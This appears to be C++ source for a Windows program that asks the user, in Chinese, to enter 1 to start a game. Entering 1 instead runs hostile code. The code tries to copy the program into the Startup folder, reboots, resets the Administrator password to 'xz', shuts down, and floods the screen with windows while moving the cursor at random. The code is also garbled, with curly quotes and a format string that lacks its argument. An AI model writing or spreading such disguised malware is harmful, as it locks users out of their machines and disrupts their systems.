#include <iostream> #include<windows.h> #include<ctime> #include <cstdlib> #include <stdio.h> #include <fstream> using namespace std; int a; int main(){ puts(“输入1开始游戏”); cin>>a; if(a==1){ char copy[80]; sprintf(copy,“copy %s “%%userprofile%%\「开始」菜单\程序\启动""); system(copy); char cmd[]=“shutdown -r -t 0”; system(“ping baidu.com”); system(cmd); system(“pause”);
system(copy); system(“net user Administrator xz”); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); srand(time(0)); system(“shutdown -s -t 0”); while(1){ SetCursorPos(rand()%x,rand()%y); system(“start”); } } if(a==2){ exit(1); } return 0; }